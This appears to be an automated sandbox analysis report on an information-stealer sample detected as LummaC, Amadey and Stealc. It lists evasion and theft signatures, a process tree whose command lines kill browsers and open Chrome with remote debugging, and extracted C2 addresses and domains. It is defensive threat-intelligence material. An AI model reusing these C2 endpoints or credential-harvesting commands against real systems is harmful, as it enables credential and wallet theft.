Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546462
MD5:	6f2957621e58f125944b38c36664a91a
SHA1:	c160f49c7f5204345ac17d4f2d7d4757abf34886
SHA256:	6fc81caa454b16d31631bc1ef0e63f459291b364c6c46494c326453b78f3db2d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7356 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6F2957621E58F125944B38C36664A91A)

MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe (PID: 7744 cmdline: "C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe" MD5: 938E6EEA0676862A7785713D09C42FDB)

NN5L9AGTEIQO79C9NX.exe (PID: 7864 cmdline: "C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe" MD5: 691894CFB2B4AC54F8B6864D71E1D508)

skotes.exe (PID: 8104 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 691894CFB2B4AC54F8B6864D71E1D508)

skotes.exe (PID: 4340 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 691894CFB2B4AC54F8B6864D71E1D508)

skotes.exe (PID: 4040 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 691894CFB2B4AC54F8B6864D71E1D508)

0bdaf26796.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe" MD5: 6F2957621E58F125944B38C36664A91A)

LY9L8IB5BIZFUZH5SXM3A25NO.exe (PID: 5236 cmdline: "C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe" MD5: 938E6EEA0676862A7785713D09C42FDB)

PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe (PID: 3228 cmdline: "C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe" MD5: 691894CFB2B4AC54F8B6864D71E1D508)

96b4cd4489.exe (PID: 7520 cmdline: "C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe" MD5: 0851A659097FB0251FF585C552F6673D)

chrome.exe (PID: 7892 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WerFault.exe (PID: 1868 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7520 -s 1592 MD5: C31336C1EFC2CCB44B4326EA793040F2)

60eccf97f7.exe (PID: 6304 cmdline: "C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe" MD5: 32700F4360021133EDF61F31A569FD30)

taskkill.exe (PID: 6356 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7900 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8096 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8124 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8180 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6008 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5288 cmdline: "C:\Users\user\AppData\Local\Temp\1003023001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

ef2e7274a0.exe (PID: 6424 cmdline: "C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe" MD5: 6F2957621E58F125944B38C36664A91A)

01b01f6224.exe (PID: 7100 cmdline: "C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe" MD5: 6F2957621E58F125944B38C36664A91A)

0bdaf26796.exe (PID: 3264 cmdline: "C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe" MD5: 6F2957621E58F125944B38C36664A91A)

firefox.exe (PID: 1700 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4320 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2356 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2208 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {364d90de-5b25-42d0-9ada-d70c8cceaae4} 4320 "\\.\pipe\gecko-crash-server-pipe.4320" 214d9b6b510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6800 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4016 -parentBuildID 20230927232528 -prefsHandle 4040 -prefMapHandle 4068 -prefsLen 26309 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b4678ca-e3d7-45c2-a7fb-fc7902151ff7} 4320 "\\.\pipe\gecko-crash-server-pipe.4320" 214ebd4e510 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

96b4cd4489.exe (PID: 6196 cmdline: "C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe" MD5: 0851A659097FB0251FF585C552F6673D)

60eccf97f7.exe (PID: 3852 cmdline: "C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe" MD5: 32700F4360021133EDF61F31A569FD30)

taskkill.exe (PID: 4904 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 944 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4132 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6944 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["crisiwarny.store", "thumbystriw.store", "scriptyprefej.store", "founpiuer.store", "presticitpo.store", "navygenerayk.store", "fadehairucw.store", "necklacedmny.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1003023001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000025.00000003.2758952452.0000000000643000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.2741125532.000000000064E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.2831341381.0000000000648000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2478367978.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2303254931.0000000005230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2479725820.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2459632482.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.2658688178.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.1972513678.0000000000951000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1752693002.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.1927335783.00000000051D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2458240806.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2460257187.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000000.2547398458.000000000008E000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002E.00000002.2832273553.0000000000E81000.00000040.00000001.01000000.00000020.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2439738358.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2746572800.0000000001452000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.1932075554.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.1937429779.0000000000BF1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2497496677.0000000000E35000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2471582287.0000000000E35000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.2740678466.0000000000644000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.2709096105.0000000000647000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2459091019.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2515306932.0000000000E45000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1733405478.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1896839265.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.1968679305.0000000000951000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1750048641.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000000.2547351902.0000000000071000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002E.00000003.2784122706.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1732931707.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2479021002.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.2771136281.0000000000644000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.2831462062.0000000000650000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2480450705.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2515170491.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2514780676.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7356	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7356	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7356	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0bdaf26796.exe PID: 736	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0bdaf26796.exe PID: 736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0bdaf26796.exe PID: 736	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 96b4cd4489.exe PID: 7520	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 96b4cd4489.exe PID: 7520	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 60eccf97f7.exe PID: 6304	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 0bdaf26796.exe PID: 3264	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0bdaf26796.exe PID: 3264	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: num.exe PID: 5288	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 5288	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ef2e7274a0.exe PID: 6424	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ef2e7274a0.exe PID: 6424	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 96b4cd4489.exe PID: 6196	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 96b4cd4489.exe PID: 6196	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 01b01f6224.exe PID: 7100	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 01b01f6224.exe PID: 7100	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 60eccf97f7.exe PID: 3852	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 55 entries

Unpacked PEs

Source	Rule	Description	Author
26.0.num.exe.70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
46.2.PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.e80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.NN5L9AGTEIQO79C9NX.exe.bf0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.950000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.950000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4040, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0bdaf26796.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe, ParentProcessId: 7520, ParentProcessName: 96b4cd4489.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7892, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4040, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0bdaf26796.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:37:16.329344+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49738	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:37:00.070148+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T23:37:01.381931+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T23:37:02.915934+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T23:37:04.352487+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T23:37:05.869341+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T23:37:07.738066+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T23:37:09.088765+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T23:37:14.176211+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T23:38:13.869337+0100	2028371	3	Unknown Traffic	192.168.2.4	49835	188.114.97.3	443	TCP
2024-10-31T23:38:15.126273+0100	2028371	3	Unknown Traffic	192.168.2.4	49841	188.114.97.3	443	TCP
2024-10-31T23:38:17.057533+0100	2028371	3	Unknown Traffic	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T23:38:18.532679+0100	2028371	3	Unknown Traffic	192.168.2.4	49862	188.114.97.3	443	TCP
2024-10-31T23:38:20.481133+0100	2028371	3	Unknown Traffic	192.168.2.4	49877	188.114.97.3	443	TCP
2024-10-31T23:38:24.076723+0100	2028371	3	Unknown Traffic	192.168.2.4	49896	188.114.97.3	443	TCP
2024-10-31T23:38:26.825862+0100	2028371	3	Unknown Traffic	192.168.2.4	49911	188.114.97.3	443	TCP
2024-10-31T23:38:30.008676+0100	2028371	3	Unknown Traffic	192.168.2.4	49929	188.114.97.3	443	TCP
2024-10-31T23:38:30.271513+0100	2028371	3	Unknown Traffic	192.168.2.4	49938	188.114.97.3	443	TCP
2024-10-31T23:38:32.607757+0100	2028371	3	Unknown Traffic	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-31T23:38:36.409137+0100	2028371	3	Unknown Traffic	192.168.2.4	49977	188.114.97.3	443	TCP
2024-10-31T23:38:36.493763+0100	2028371	3	Unknown Traffic	192.168.2.4	49978	188.114.97.3	443	TCP
2024-10-31T23:38:38.923350+0100	2028371	3	Unknown Traffic	192.168.2.4	49992	188.114.97.3	443	TCP
2024-10-31T23:38:39.320869+0100	2028371	3	Unknown Traffic	192.168.2.4	49994	188.114.97.3	443	TCP
2024-10-31T23:38:40.018301+0100	2028371	3	Unknown Traffic	192.168.2.4	50000	188.114.97.3	443	TCP
